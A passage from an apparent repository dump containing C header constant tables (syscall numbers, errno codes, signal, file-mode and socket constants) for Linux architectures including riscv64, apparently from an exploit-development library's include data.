380\n#define SYS_prlimit64 325\n#define SYS_process_vm_readv 351\n#define SYS_process_vm_writev 352\n#define SYS_prof 44\n#define SYS_profil 98\n#define SYS_pselect6 280\n#define SYS_ptrace 26\n#define SYS_putpmsg 188\n#define SYS_pwrite 180\n#define SYS_pwritev 321\n#define SYS_pwritev2 381\n#define SYS_query_module 166\n#define SYS_quotactl 131\n#define SYS_read 3\n#define SYS_readahead 191\n#define SYS_readdir 89\n#define SYS_readlink 85\n#define SYS_readlinkat 296\n#define SYS_readv 145\n#define SYS_reboot 88\n#define SYS_recv 336\n#define SYS_recvfrom 337\n#define SYS_recvmmsg 343\n#define SYS_recvmsg 342\n#define SYS_remap_file_pages 239\n#define SYS_removexattr 218\n#define SYS_rename 38\n#define SYS_renameat 293\n#define SYS_renameat2 357\n#define SYS_request_key 270\n#define SYS_rmdir 40\n#define SYS_rseq 387\n#define SYS_rtas 255\n#define SYS_rt_sigaction 173\n#define SYS_rt_sigpending 175\n#define SYS_rt_sigprocmask 174\n#define SYS_rt_sigqueueinfo 177\n#define SYS_rt_sigreturn 172\n#define SYS_rt_sigsuspend 178\n#define SYS_rt_sigtimedwait 176\n#define SYS_rt_tgsigqueueinfo 322\n#define SYS_sched_getaffinity 223\n#define SYS_sched_getattr 356\n#define SYS_sched_getparam 155\n#define SYS_sched_get_priority_max 159\n#define SYS_sched_get_priority_min 160\n#define SYS_sched_getscheduler 157\n#define SYS_sched_rr_get_interval 161\n#define SYS_sched_setaffinity 222\n#define SYS_sched_setattr 355\n#define SYS_sched_setparam 154\n#define SYS_sched_setscheduler 156\n#define SYS_sched_yield 158\n#define SYS_seccomp 358\n#define SYS_select 82\n#define SYS_semctl 394\n#define SYS_semget 393\n#define SYS_semtimedop 392\n#define SYS_send 334\n#define SYS_sendfile 186\n#define SYS_sendmmsg 349\n#define SYS_sendmsg 341\n#define SYS_sendto 335\n#define SYS_setdomainname 121\n#define SYS_setfsgid 139\n#define SYS_setfsuid 138\n#define SYS_setgid 46\n#define SYS_setgroups 81\n#define SYS_sethostname 74\n#define SYS_setitimer 104\n#define SYS_set_mempolicy 261\n#define SYS_setns 350\n#define SYS_setpgid 57\n#define SYS_setpriority 97\n#define SYS_setregid 71\n#define SYS_setresgid 169\n#define SYS_setresuid 164\n#define SYS_setreuid 70\n#define SYS_setrlimit 75\n#define SYS_set_robust_list 300\n#define SYS_setsid 66\n#define SYS_setsockopt 339\n#define SYS_set_tid_address 232\n#define SYS_settimeofday 79\n#define SYS_setuid 23\n#define SYS_setxattr 209\n#define SYS_sgetmask 68\n#define SYS_shmat 397\n#define SYS_shmctl 396\n#define SYS_shmdt 398\n#define SYS_shmget 395\n#define SYS_shutdown 338\n#define SYS_sigaction 67\n#define SYS_sigaltstack 185\n#define SYS_signal 48\n#define SYS_signalfd 305\n#define SYS_signalfd4 313\n#define SYS_sigpending 73\n#define SYS_sigprocmask 126\n#define SYS_sigreturn 119\n#define SYS_sigsuspend 72\n#define SYS_socket 326\n#define SYS_socketcall 102\n#define SYS_socketpair 333\n#define SYS_splice 283\n#define SYS_spu_create 279\n#define SYS_spu_run 278\n#define SYS_ssetmask 69\n#define SYS_stat 106\n#define SYS_statfs 99\n#define SYS_statfs64 252\n#define SYS_statx 383\n#define SYS_stime 25\n#define SYS_stty 31\n#define SYS_subpage_prot 310\n#define SYS_swapcontext 249\n#define SYS_swapoff 115\n#define SYS_swapon 87\n#define SYS_switch_endian 363\n#define SYS_symlink 83\n#define SYS_symlinkat 295\n#define SYS_sync 36\n#define SYS_sync_file_range2 308\n#define SYS_syncfs 348\n#define SYS__sysctl 149\n#define SYS_sysfs 135\n#define SYS_sysinfo 116\n#define SYS_syslog 103\n#define SYS_tee 284\n#define SYS_tgkill 250\n#define SYS_time 13\n#define SYS_timer_create 240\n#define SYS_timer_delete 244\n#define SYS_timerfd 306\n#define SYS_timerfd_gettime 312\n#define SYS_timerfd_settime 311\n#define SYS_timer_getoverrun 243\n#define SYS_timer_gettime 242\n#define SYS_timer_settime 241\n#define SYS_times 43\n#define SYS_tkill 208\n#define SYS_truncate 92\n#define SYS_tuxcall 225\n#define SYS_ugetrlimit 190\n#define SYS_ulimit 58\n#define SYS_umask 60\n#define SYS_umount 22\n#define SYS_umount2 52\n#define SYS_uname 122\n#define SYS_unlink 10\n#define SYS_unlinkat 292\n#define SYS_unshare 282\n#define SYS_uselib 86\n#define SYS_userfaultfd 364\n#define SYS_ustat 62\n#define SYS_utime 30\n#define SYS_utimensat 304\n#define SYS_utimes 251\n#define SYS_vfork 189\n#define SYS_vhangup 111\n#define SYS_vm86 113\n#define SYS_vmsplice 285\n#define SYS_wait4 114\n#define SYS_waitid 272\n#define SYS_waitpid 7\n#define SYS_write 4\n#define SYS_writev 146\n#define r0 0\n#define r1 1\n#define r2 2\n#define r3 3\n#define r4 4\n#define r5 5\n#define r6 6\n#define r7 7\n#define r8 8\n#define r9 9\n#define r10 10\n#define r11 11\n#define r12 12\n#define r13 13\n#define r14 14\n#define r15 15\n#define r16 16\n#define r17 17\n#define r18 18\n#define r19 19\n#define r20 20\n#define r21 21\n#define r22 22\n#define r23 23\n#define r24 24\n#define r25 25\n#define r26 26\n#define r27 27\n#define r28 28\n#define r29 29\n#define r30 30\n#define r31 31\n"
  },
  {
    "path": "pwnlib/data/includes/linux/riscv64.h",
    "content": "#define __NR_io_setup 0\n#define __NR_io_destroy 1\n#define __NR_io_submit 2\n#define __NR_io_cancel 3\n#define __NR_io_getevents 4\n#define __NR_setxattr 5\n#define __NR_lsetxattr 6\n#define __NR_fsetxattr 7\n#define __NR_getxattr 8\n#define __NR_lgetxattr 9\n#define __NR_fgetxattr 10\n#define __NR_listxattr 11\n#define __NR_llistxattr 12\n#define __NR_flistxattr 13\n#define __NR_removexattr 14\n#define __NR_lremovexattr 15\n#define __NR_fremovexattr 16\n#define __NR_getcwd 17\n#define __NR_lookup_dcookie 18\n#define __NR_eventfd2 19\n#define __NR_epoll_create1 20\n#define __NR_epoll_ctl 21\n#define __NR_epoll_pwait 22\n#define __NR_dup 23\n#define __NR_dup3 24\n#define __NR_fcntl 25\n#define __NR_inotify_init1 26\n#define __NR_inotify_add_watch 27\n#define __NR_inotify_rm_watch 28\n#define __NR_ioctl 29\n#define __NR_ioprio_set 30\n#define __NR_ioprio_get 31\n#define __NR_flock 32\n#define __NR_mknodat 33\n#define __NR_mkdirat 34\n#define __NR_unlinkat 35\n#define __NR_symlinkat 36\n#define __NR_linkat 37\n#define __NR_umount2 39\n#define __NR_mount 40\n#define __NR_pivot_root 41\n#define __NR_nfsservctl 42\n#define __NR_statfs 43\n#define __NR_fstatfs 44\n#define __NR_truncate 45\n#define __NR_ftruncate 46\n#define __NR_fallocate 47\n#define __NR_faccessat 48\n#define __NR_chdir 49\n#define __NR_fchdir 50\n#define __NR_chroot 51\n#define __NR_fchmod 52\n#define __NR_fchmodat 53\n#define __NR_fchownat 54\n#define __NR_fchown 55\n#define __NR_openat 56\n#define __NR_close 57\n#define __NR_vhangup 58\n#define __NR_pipe2 59\n#define __NR_quotactl 60\n#define __NR_getdents64 61\n#define __NR_lseek 62\n#define __NR_read 63\n#define __NR_write 64\n#define __NR_readv 65\n#define __NR_writev 66\n#define __NR_pread64 67\n#define __NR_pwrite64 68\n#define __NR_preadv 69\n#define __NR_pwritev 70\n#define __NR_sendfile 71\n#define __NR_pselect6 72\n#define __NR_ppoll 73\n#define __NR_signalfd4 74\n#define __NR_vmsplice 75\n#define __NR_splice 76\n#define __NR_tee 77\n#define __NR_readlinkat 78\n#define __NR_newfstatat 79\n#define __NR_fstat 80\n#define __NR_sync 81\n#define __NR_fsync 82\n#define __NR_fdatasync 83\n#define __NR_sync_file_range 84\n#define __NR_timerfd_create 85\n#define __NR_timerfd_settime 86\n#define __NR_timerfd_gettime 87\n#define __NR_utimensat 88\n#define __NR_acct 89\n#define __NR_capget 90\n#define __NR_capset 91\n#define __NR_personality 92\n#define __NR_exit 93\n#define __NR_exit_group 94\n#define __NR_waitid 95\n#define __NR_set_tid_address 96\n#define __NR_unshare 97\n#define __NR_futex 98\n#define __NR_set_robust_list 99\n#define __NR_get_robust_list 100\n#define __NR_nanosleep 101\n#define __NR_getitimer 102\n#define __NR_setitimer 103\n#define __NR_kexec_load 104\n#define __NR_init_module 105\n#define __NR_delete_module 106\n#define __NR_timer_create 107\n#define __NR_timer_gettime 108\n#define __NR_timer_getoverrun 109\n#define __NR_timer_settime 110\n#define __NR_timer_delete 111\n#define __NR_clock_settime 112\n#define __NR_clock_gettime 113\n#define __NR_clock_getres 114\n#define __NR_clock_nanosleep 115\n#define __NR_syslog 116\n#define __NR_ptrace 117\n#define __NR_sched_setparam 118\n#define __NR_sched_setscheduler 119\n#define __NR_sched_getscheduler 120\n#define __NR_sched_getparam 121\n#define __NR_sched_setaffinity 122\n#define __NR_sched_getaffinity 123\n#define __NR_sched_yield 124\n#define __NR_sched_get_priority_max 125\n#define __NR_sched_get_priority_min 126\n#define __NR_sched_rr_get_interval 127\n#define __NR_restart_syscall 128\n#define __NR_kill 129\n#define __NR_tkill 130\n#define __NR_tgkill 131\n#define __NR_sigaltstack 132\n#define __NR_rt_sigsuspend 133\n#define __NR_rt_sigaction 134\n#define __NR_rt_sigprocmask 135\n#define __NR_rt_sigpending 136\n#define __NR_rt_sigtimedwait 137\n#define __NR_rt_sigqueueinfo 138\n#define __NR_rt_sigreturn 139\n#define __NR_setpriority 140\n#define __NR_getpriority 141\n#define __NR_reboot 142\n#define __NR_setregid 143\n#define __NR_setgid 144\n#define __NR_setreuid 145\n#define __NR_setuid 146\n#define __NR_setresuid 147\n#define __NR_getresuid 148\n#define __NR_setresgid 149\n#define __NR_getresgid 150\n#define __NR_setfsuid 151\n#define __NR_setfsgid 152\n#define __NR_times 153\n#define __NR_setpgid 154\n#define __NR_getpgid 155\n#define __NR_getsid 156\n#define __NR_setsid 157\n#define __NR_getgroups 158\n#define __NR_setgroups 159\n#define __NR_uname 160\n#define __NR_sethostname 161\n#define __NR_setdomainname 162\n#define __NR_getrlimit 163\n#define __NR_setrlimit 164\n#define __NR_getrusage 165\n#define __NR_umask 166\n#define __NR_prctl 167\n#define __NR_getcpu 168\n#define __NR_gettimeofday 169\n#define __NR_settimeofday 170\n#define __NR_adjtimex 171\n#define __NR_getpid 172\n#define __NR_getppid 173\n#define __NR_getuid 174\n#define __NR_geteuid 175\n#define __NR_getgid 176\n#define __NR_getegid 177\n#define __NR_gettid 178\n#define __NR_sysinfo 179\n#define __NR_mq_open 180\n#define __NR_mq_unlink 181\n#define __NR_mq_timedsend 182\n#define __NR_mq_timedreceive 183\n#define __NR_mq_notify 184\n#define __NR_mq_getsetattr 185\n#define __NR_msgget 186\n#define __NR_msgctl 187\n#define __NR_msgrcv 188\n#define __NR_msgsnd 189\n#define __NR_semget 190\n#define __NR_semctl 191\n#define __NR_semtimedop 192\n#define __NR_semop 193\n#define __NR_shmget 194\n#define __NR_shmctl 195\n#define __NR_shmat 196\n#define __NR_shmdt 197\n#define __NR_socket 198\n#define __NR_socketpair 199\n#define __NR_bind 200\n#define __NR_listen 201\n#define __NR_accept 202\n#define __NR_connect 203\n#define __NR_getsockname 204\n#define __NR_getpeername 205\n#define __NR_sendto 206\n#define __NR_recvfrom 207\n#define __NR_setsockopt 208\n#define __NR_getsockopt 209\n#define __NR_shutdown 210\n#define __NR_sendmsg 211\n#define __NR_recvmsg 212\n#define __NR_readahead 213\n#define __NR_brk 214\n#define __NR_munmap 215\n#define __NR_mremap 216\n#define __NR_add_key 217\n#define __NR_request_key 218\n#define __NR_keyctl 219\n#define __NR_clone 220\n#define __NR_execve 221\n#define __NR_mmap 222\n#define __NR_fadvise64 223\n#define __NR_swapon 224\n#define __NR_swapoff 225\n#define __NR_mprotect 226\n#define __NR_msync 227\n#define __NR_mlock 228\n#define __NR_munlock 229\n#define __NR_mlockall 230\n#define __NR_munlockall 231\n#define __NR_mincore 232\n#define __NR_madvise 233\n#define __NR_remap_file_pages 234\n#define __NR_mbind 235\n#define __NR_get_mempolicy 236\n#define __NR_set_mempolicy 237\n#define __NR_migrate_pages 238\n#define __NR_move_pages 239\n#define __NR_rt_tgsigqueueinfo 240\n#define __NR_perf_event_open 241\n#define __NR_accept4 242\n#define __NR_recvmmsg 243\n#define __NR_arch_specific_syscall 244\n#define __NR_wait4 260\n#define __NR_prlimit64 261\n#define __NR_fanotify_init 262\n#define __NR_fanotify_mark 263\n#define __NR_name_to_handle_at 264\n#define __NR_open_by_handle_at 265\n#define __NR_clock_adjtime 266\n#define __NR_syncfs 267\n#define __NR_setns 268\n#define __NR_sendmmsg 269\n#define __NR_process_vm_readv 270\n#define __NR_process_vm_writev 271\n#define __NR_kcmp 272\n#define __NR_finit_module 273\n#define __NR_sched_setattr 274\n#define __NR_sched_getattr 275\n#define __NR_renameat2 276\n#define __NR_seccomp 277\n#define __NR_getrandom 278\n#define __NR_memfd_create 279\n#define __NR_bpf 280\n#define __NR_execveat 281\n#define __NR_userfaultfd 282\n#define __NR_membarrier 283\n#define __NR_mlock2 284\n#define __NR_copy_file_range 285\n#define __NR_preadv2 286\n#define __NR_pwritev2 287\n#define __NR_pkey_mprotect 288\n#define __NR_pkey_alloc 289\n#define __NR_pkey_free 290\n#define __NR_statx 291\n#define __NR_io_pgetevents 292\n#define __NR_rseq 293\n#define __NR_kexec_file_load 294\n#define __NR_pidfd_send_signal 424\n#define __NR_io_uring_setup 425\n#define __NR_io_uring_enter 426\n#define __NR_io_uring_register 427\n#define __NR_open_tree 428\n#define __NR_move_mount 429\n#define __NR_fsopen 430\n#define __NR_fsconfig 431\n#define __NR_fsmount 432\n#define __NR_fspick 433\n#define __NR_pidfd_open 434\n#define __NR_clone3 435\n#define __NR_close_range 436\n#define __NR_openat2 437\n#define __NR_pidfd_getfd 438\n#define __NR_faccessat2 439\n#define __NR_process_madvise 440\n#define __NR_epoll_pwait2 441\n#define __NR_mount_setattr 442\n#define __NR_landlock_create_ruleset 444\n#define __NR_landlock_add_rule 445\n#define __NR_landlock_restrict_self 446\n#define __NR_sysriscv 244\n#define __NR_riscv_flush_icache (244 + 15)\n#define MAP_32BIT 0x40\n#define INADDR_ANY 0\n#define INADDR_BROADCAST 0xffffffff\n#define INADDR_NONE 0xffffffff\n#define INADDR_LOOPBACK 0x7f000001\n#define EPERM 1\n#define ENOENT 2\n#define ESRCH 3\n#define EINTR 4\n#define EIO 5\n#define ENXIO 6\n#define E2BIG 7\n#define ENOEXEC 8\n#define EBADF 9\n#define ECHILD 10\n#define EAGAIN 11\n#define ENOMEM 12\n#define EACCES 13\n#define EFAULT 14\n#define ENOTBLK 15\n#define EBUSY 16\n#define EEXIST 17\n#define EXDEV 18\n#define ENODEV 19\n#define ENOTDIR 20\n#define EISDIR 21\n#define EINVAL 22\n#define ENFILE 23\n#define EMFILE 24\n#define ENOTTY 25\n#define ETXTBSY 26\n#define EFBIG 27\n#define ENOSPC 28\n#define ESPIPE 29\n#define EROFS 30\n#define EMLINK 31\n#define EPIPE 32\n#define EDOM 33\n#define ERANGE 34\n#define EDEADLK 35\n#define ENAMETOOLONG 36\n#define ENOLCK 37\n#define ENOSYS 38\n#define ENOTEMPTY 39\n#define ELOOP 40\n#define EWOULDBLOCK 11\n#define ENOMSG 42\n#define EIDRM 43\n#define ECHRNG 44\n#define EL2NSYNC 45\n#define EL3HLT 46\n#define EL3RST 47\n#define ELNRNG 48\n#define EUNATCH 49\n#define ENOCSI 50\n#define EL2HLT 51\n#define EBADE 52\n#define EBADR 53\n#define EXFULL 54\n#define ENOANO 55\n#define EBADRQC 56\n#define EBADSLT 57\n#define EDEADLOCK 35\n#define EBFONT 59\n#define ENOSTR 60\n#define ENODATA 61\n#define ETIME 62\n#define ENOSR 63\n#define ENONET 64\n#define ENOPKG 65\n#define EREMOTE 66\n#define ENOLINK 67\n#define EADV 68\n#define ESRMNT 69\n#define ECOMM 70\n#define EPROTO 71\n#define EMULTIHOP 72\n#define EDOTDOT 73\n#define EBADMSG 74\n#define EOVERFLOW 75\n#define ENOTUNIQ 76\n#define EBADFD 77\n#define EREMCHG 78\n#define ELIBACC 79\n#define ELIBBAD 80\n#define ELIBSCN 81\n#define ELIBMAX 82\n#define ELIBEXEC 83\n#define EILSEQ 84\n#define ERESTART 85\n#define ESTRPIPE 86\n#define EUSERS 87\n#define ENOTSOCK 88\n#define EDESTADDRREQ 89\n#define EMSGSIZE 90\n#define EPROTOTYPE 91\n#define ENOPROTOOPT 92\n#define EPROTONOSUPPORT 93\n#define ESOCKTNOSUPPORT 94\n#define EOPNOTSUPP 95\n#define ENOTSUP 95\n#define EPFNOSUPPORT 96\n#define EAFNOSUPPORT 97\n#define EADDRINUSE 98\n#define EADDRNOTAVAIL 99\n#define ENETDOWN 100\n#define ENETUNREACH 101\n#define ENETRESET 102\n#define ECONNABORTED 103\n#define ECONNRESET 104\n#define ENOBUFS 105\n#define EISCONN 106\n#define ENOTCONN 107\n#define ESHUTDOWN 108\n#define ETOOMANYREFS 109\n#define ETIMEDOUT 110\n#define ECONNREFUSED 111\n#define EHOSTDOWN 112\n#define EHOSTUNREACH 113\n#define EALREADY 114\n#define EINPROGRESS 115\n#define ESTALE 116\n#define EUCLEAN 117\n#define ENOTNAM 118\n#define ENAVAIL 119\n#define EISNAM 120\n#define EREMOTEIO 121\n#define EDQUOT 122\n#define ENOMEDIUM 123\n#define EMEDIUMTYPE 124\n#define ECANCELED 125\n#define ENOKEY 126\n#define EKEYEXPIRED 127\n#define EKEYREVOKED 128\n#define EKEYREJECTED 129\n#define EOWNERDEAD 130\n#define ENOTRECOVERABLE 131\n#define ERFKILL 132\n#define EHWPOISON 133\n#define __SYS_NERR ((133) + 1)\n#define __LITTLE_ENDIAN 1234\n#define __BIG_ENDIAN 4321\n#define __BYTE_ORDER 4321\n#define __FLOAT_WORD_ORDER 4321\n#define LITTLE_ENDIAN 1234\n#define BIG_ENDIAN 4321\n#define BYTE_ORDER 4321\n#define __WORDSIZE 32\n#define INT8_MAX (127)\n#define INT16_MAX (32767)\n#define INT32_MAX (2147483647)\n#define INT64_MAX (9223372036854775807)\n#define INT8_MIN (-1 - (127))\n#define INT16_MIN (-1 - (32767))\n#define INT32_MIN (-1 - (2147483647))\n#define INT64_MIN (-1 - (9223372036854775807))\n#define INT_LEAST8_MAX (127)\n#define INT_LEAST8_MIN (-1 - (127))\n#define INT_LEAST16_MAX (32767)\n#define INT_LEAST16_MIN (-1 - (32767))\n#define INT_LEAST32_MAX (2147483647)\n#define INT_LEAST32_MIN (-1 - (2147483647))\n#define INT_LEAST64_MAX (9223372036854775807)\n#define INT_LEAST64_MIN (-1 - (9223372036854775807))\n#define UINT8_MAX 0xff\n#define UINT16_MAX 0xffff\n#define UINT32_MAX 0xffffffff\n#define UINT64_MAX 0xffffffffffffffff\n#define UINT_LEAST8_MAX 0xff\n#define UINT_LEAST16_MAX 0xffff\n#define UINT_LEAST32_MAX 0xffffffff\n#define UINT_LEAST64_MAX 0xffffffffffffffff\n#define INTPTR_MIN (-1 - (2147483647))\n#define INTPTR_MAX (2147483647)\n#define UINTPTR_MAX 0xffffffff\n#define SIZE_MAX 0xffffffff\n#define PTRDIFF_MIN (-1 - (2147483647))\n#define PTRDIFF_MAX (2147483647)\n#define INTMAX_MIN (-1 - (9223372036854775807))\n#define INTMAX_MAX (9223372036854775807)\n#define UINTMAX_MAX 0xffffffffffffffff\n#define INT_FAST8_MIN (-1 - (127))\n#define INT_FAST8_MAX (127)\n#define INT_FAST64_MIN (-1 - (9223372036854775807))\n#define INT_FAST64_MAX (9223372036854775807)\n#define UINT_FAST8_MAX 0xff\n#define UINT_FAST64_MAX 0xffffffffffffffff\n#define INT_FAST16_MIN (-1 - (2147483647))\n#define INT_FAST16_MAX (2147483647)\n#define UINT_FAST16_MAX 0xffffffff\n#define INT_FAST32_MIN (-1 - (2147483647))\n#define INT_FAST32_MAX (2147483647)\n#define UINT_FAST32_MAX 0xffffffff\n#define WINT_MIN 0\n#define __FSUID_H 1\n#define NSIG 32\n#define _NSIG 65\n#define SIGHUP 1\n#define SIGINT 2\n#define SIGQUIT 3\n#define SIGILL 4\n#define SIGTRAP 5\n#define SIGABRT 6\n#define SIGIOT 6\n#define SIGFPE 8\n#define SIGKILL 9\n#define SIGSEGV 11\n#define SIGPIPE 13\n#define SIGALRM 14\n#define SIGTERM 15\n#define SIGUNUSED 31\n#define SIGRTMIN 32\n#define SIGRTMAX (65-1)\n#define SA_NOCLDSTOP 0x00000001\n#define SA_NOCLDWAIT 0x00000002\n#define SA_SIGINFO 0x00000004\n#define SA_RESTORER 0x04000000\n#define SA_ONSTACK 0x08000000\n#define SA_RESTART 0x10000000\n#define SA_INTERRUPT 0x20000000\n#define SA_NODEFER 0x40000000\n#define SA_RESETHAND 0x80000000\n#define SA_NOMASK 0x40000000\n#define SA_ONESHOT 0x80000000\n#define SS_ONSTACK 1\n#define SS_DISABLE 2\n#define MINSIGSTKSZ 2048\n#define SIGSTKSZ 8192\n#define SIG_BLOCK 0\n#define SIG_UNBLOCK 1\n#define SIG_SETMASK 2\n#define SI_MAX_SIZE 128\n#define SIGEV_SIGNAL 0\n#define SIGEV_NONE 1\n#define SIGEV_THREAD 2\n#define SIGEV_THREAD_ID 4\n#define SIGEV_MAX_SIZE 64\n#define _SYS_TIME_H 1\n#define ITIMER_REAL 0\n#define ITIMER_VIRTUAL 1\n#define ITIMER_PROF 2\n#define FD_SETSIZE 1024\n#define R_OK 4\n#define W_OK 2\n#define X_OK 1\n#define F_OK 0\n#define SEEK_SET 0\n#define SEEK_CUR 1\n#define SEEK_END 2\n#define STDIN_FILENO 0\n#define STDOUT_FILENO 1\n#define STDERR_FILENO 2\n#define _CS_PATH 1\n#define _SC_CLK_TCK 1\n#define _SC_ARG_MAX 2\n#define _SC_NGROUPS_MAX 3\n#define _SC_OPEN_MAX 4\n#define _SC_PAGESIZE 5\n#define _SC_NPROCESSORS_ONLN 6\n#define _SC_NPROCESSORS_CONF 6\n#define _SC_PHYS_PAGES 7\n#define _SC_GETPW_R_SIZE_MAX 8\n#define _SC_GETGR_R_SIZE_MAX 9\n#define _PC_PATH_MAX 1\n#define _PC_VDISABLE 2\n#define L_cuserid 17\n#define _POSIX_VERSION 199506\n#define F_ULOCK 0\n#define F_LOCK 1\n#define F_TLOCK 2\n#define F_TEST 3\n#define _POSIX_MAPPED_FILES 200809\n#define S_IFMT 0xf000\n#define S_IFSOCK 0xc000\n#define S_IFLNK 0xa000\n#define S_IFREG 0x8000\n#define S_IFBLK 0x6000\n#define S_IFDIR 0x4000\n#define S_IFCHR 0x2000\n#define S_IFIFO 0x1000\n#define S_ISUID 0x800\n#define S_ISGID 0x400\n#define S_ISVTX 0x200\n#define S_IRWXU 0x1c0\n#define S_IRUSR 0x100\n#define S_IWUSR 0x80\n#define S_IXUSR 0x40\n#define S_IRWXG 0x38\n#define S_IRGRP 0x20\n#define S_IWGRP 0x10\n#define S_IXGRP 0x8\n#define S_IRWXO 0x7\n#define S_IROTH 0x4\n#define S_IWOTH 0x2\n#define S_IXOTH 0x1\n#define S_IREAD 0x100\n#define S_IWRITE 0x80\n#define S_IEXEC 0x40\n#define _SYS_UIO 1\n#define SOL_SOCKET 1\n#define SO_DEBUG 1\n#define SO_REUSEADDR 2\n#define SO_TYPE 3\n#define SO_ERROR 4\n#define SO_DONTROUTE 5\n#define SO_BROADCAST 6\n#define SO_SNDBUF 7\n#define SO_RCVBUF 8\n#define SO_KEEPALIVE 9\n#define SO_OOBINLINE 10\n#define SO_NO_CHECK 11\n#define SO_PRIORITY 12\n#define SO_LINGER 13\n#define SO_BSDCOMPAT 14\n#define SO_REUSEPORT 15\n#define SO_PASSCRED 16\n#define SO_PEERCRED 17\n#define SO_RCVLOWAT 18\n#define SO_SNDLOWAT 19\n#define SO_RCVTIMEO 20\n#define SO_SNDTIMEO 21\n#define SO_SECURITY_AUTHENTICATION 22\n#define SO_SECURITY_ENCRYPTION_TRANSPORT 23\n#define SO_SECURITY_ENCRYPTION_NETWORK 24\n#define SO_BINDTODEVICE 25\n#define SO_ATTACH_FILTER 26\n#define SO_DETACH_FILTER 27\n#define SO_GET_FILTER 26\n#define SO_PEERNAME 28\n#define SO_TIMESTAMP 29\n#define SCM_TIMESTAMP 29\n#define SO_ACCEPTCONN 30\n#define SO_PEERSEC 31\n#define SO_SNDBUFFORCE 32\n#define SO_RCVBUFFORCE 33\n#define SO_PASSSEC 34\n#define SO_TIMESTAMPNS 35\n#define SCM_TIMESTAMPNS 35\n#define SO_MARK 36\n#define SO_TIMESTAMPING 37\n#define SCM_TIMESTAMPING 37\n#define SO_PROTOCOL 38\n#define SO_DOMAIN 39\n#define SO_RXQ_OVFL 40\n#define SO_WIFI_STATUS 41\n#define SCM_WIFI_STATUS 41\n#define SO_PEEK_OFF 42\n#define SO_NOFCS 43\n#define SO_LOCK_FILTER 44\n#define SO_SELECT_ERR_QUEUE 45\n#define SO_BUSY_POLL 46\n#define SO_MAX_PACING_RATE 47\n#define SO_BPF_EXTENSIONS 48\n#define SO_INCOMING_CPU 49\n#define SO_ATTACH_BPF 50\n#define SO_DETACH_BPF 27\n#define SO_ATTACH_REUSEPORT_CBPF 51\n#define SO_ATTACH_REUSEPORT_EBPF 52\n#define SO_CNX_ADVICE 53\n#define SCM_TIMESTAMPING_OPT_STATS 54\n#define SO_MEMINFO 55\n#define SO_INCOMING_NAPI_ID 56\n#define SO_COOKIE 57\n#define SCM_TIMESTAMPING_PKTINFO 58\n#define SO_PEERGROUPS 59\n#define SO_ZEROCOPY 60\n#define SOCK_STREAM 1\n#define SOCK_DGRAM 2\n#define SOCK_RAW 3\n#define SOCK_RDM 4\n#define SOCK_SEQPACKET 5\n#define SOCK_DCCP 6\n#define SOCK_PACKET 10\n#define UIO_FASTIOV 8\n#define UIO_MAXIOV 1024\n#define SCM_RIGHTS 0x01\n#define SCM_CREDENTIALS 0x02\n#define SCM_CONNECT 0x03\n#define AF_UNSPEC 0\n#define AF_UNIX 1\n#define AF_LOCAL 1\n#define AF_INET 2\n#define AF_AX25 3\n#define AF_IPX 4\n#define AF_APPLETALK 5\n#define AF_NETROM 6\n#define AF_BRIDGE 7\n#define AF_ATMPVC 8\n#define AF_X25 9\n#define AF_INET6 10\n#define AF_ROSE 11\n#define AF_DECnet 12\n#define AF_NETBEUI 13\n#define AF_SECURITY 14\n#define AF_KEY 15\n#define AF_NETLINK 16\n#define AF_ROUTE 16\n#define AF_PACKET 17\n#define AF_ASH 18\n#define AF_ECONET 19\n#define AF_ATMSVC 20\n#define AF_SNA 22\n#define AF_IRDA 23\n#define AF_PPPOX 24\n#define AF_WANPIPE 25\n#define AF_LLC 26\n#define AF_IB 27\n#define AF_MPLS 28\n#define AF_CAN 29\n#define AF_TIPC 30\n#define AF_BLUETOOTH 31\n#define AF_IUCV 32\n#define AF_RXRPC 33\n#define AF_ISDN 34\n#define AF_PHONET 35\n#define AF_IEEE802154 36\n#define AF_CAIF 37\n#define AF_ALG 38\n#define AF_NFC 39\n#define AF_VSOCK 40\n#define AF_KCM 41\n#define AF_QIPCRTR 42\n#define AF_SMC 43\n#define AF_MAX 44\n#define PF_UNSPEC 0\n#define PF_UNIX 1\n#define PF_LOCAL 1\n#define PF_INET 2\n#define PF_AX25 3\n#define PF_IPX 4\n#define PF_APPLETALK 5\n#define PF_NETROM 6\n#define PF_BRIDGE 7\n#define PF_ATMPVC 8\n#define PF_X25 9\n#define PF_INET6 10\n#define PF_ROSE 11\n#define PF_DECnet 12\n#define PF_NETBEUI 13\n#define PF_SECURITY 14\n#define PF_KEY 15\n#define PF_NETLINK 16\n#define PF_ROUTE 16\n#define PF_PACKET 17\n#define PF_ASH 18\n#define PF_ECONET 19\n#define PF_ATMSVC 20\n#define PF_SNA 22\n#define PF_IRDA 23\n#define PF_PPPOX 24\n#define PF_WANPIPE 25\n#define PF_LLC 26\n#define PF_IB 27\n#define PF_MPLS 28\n#define PF_CAN 29\n#define PF_TIPC 30\n#define PF_BLUETOOTH 31\n#define PF_IUCV 32\n#define PF_RXRPC 33\n#define PF_ISDN 34\n#define PF_PHONET 35\n#define PF_IEEE802154 36\n#define PF_CAIF 37\n#define PF_ALG 38\n#define PF_NFC 39\n#define PF_VSOCK 40\n#define PF_KCM 41\n#define PF_QIPCRTR 42\n#define PF_SMC 43\n#define PF_MAX 44\n#define SOMAXCONN 128\n#define MSG_OOB 1\n#define MSG_PEEK 2\n#define MSG_DONTROUTE 4\n#define MSG_TRYHARD 4\n#define MSG_CTRUNC 8\n#define MSG_PROBE 0x10\n#define MSG_TRUNC 0x20\n#define MSG_DONTWAIT 0x40\n#define MSG_EOR 0x80\n#define MSG_WAITALL 0x100\n#define MSG_FIN 0x200\n#define MSG_SYN 0x400\n#define MSG_CONFIRM 0x800\n#define MSG_RST 0x1000\n#define MSG_ERRQUEUE 0x2000\n#define MSG_NOSIGNAL 0x4000\n#define MSG_MORE 0x8000\n#define MSG_WAITFORONE 0x10000\n#define MSG_SENDPAGE_NOTLAST 0x20000\n#define MSG_BATCH 0x40000\n#define MSG_EOF 0x200\n#define MSG_ZEROCOPY 0x4000000\n#define MSG_FASTOPEN 0x20000000\n#define MSG_CMSG_CLOEXEC 0x40000000\n#define SOL_IP 0\n#define SOL_TCP 6\n#define SOL_UDP 17\n#define SOL_IPV6 41\n#define SOL_ICMPV6 58\n#define SOL_SCTP 132\n#define SOL_UDPLITE 136\n#define SOL_RAW 255\n#define SOL_IPX 256\n#define SOL_AX25 257\n#define SOL_ATALK 258\n#define SOL_NETROM 259\n#define SOL_ROSE 260\n#define SOL_DECNET 261\n#define SOL_X25 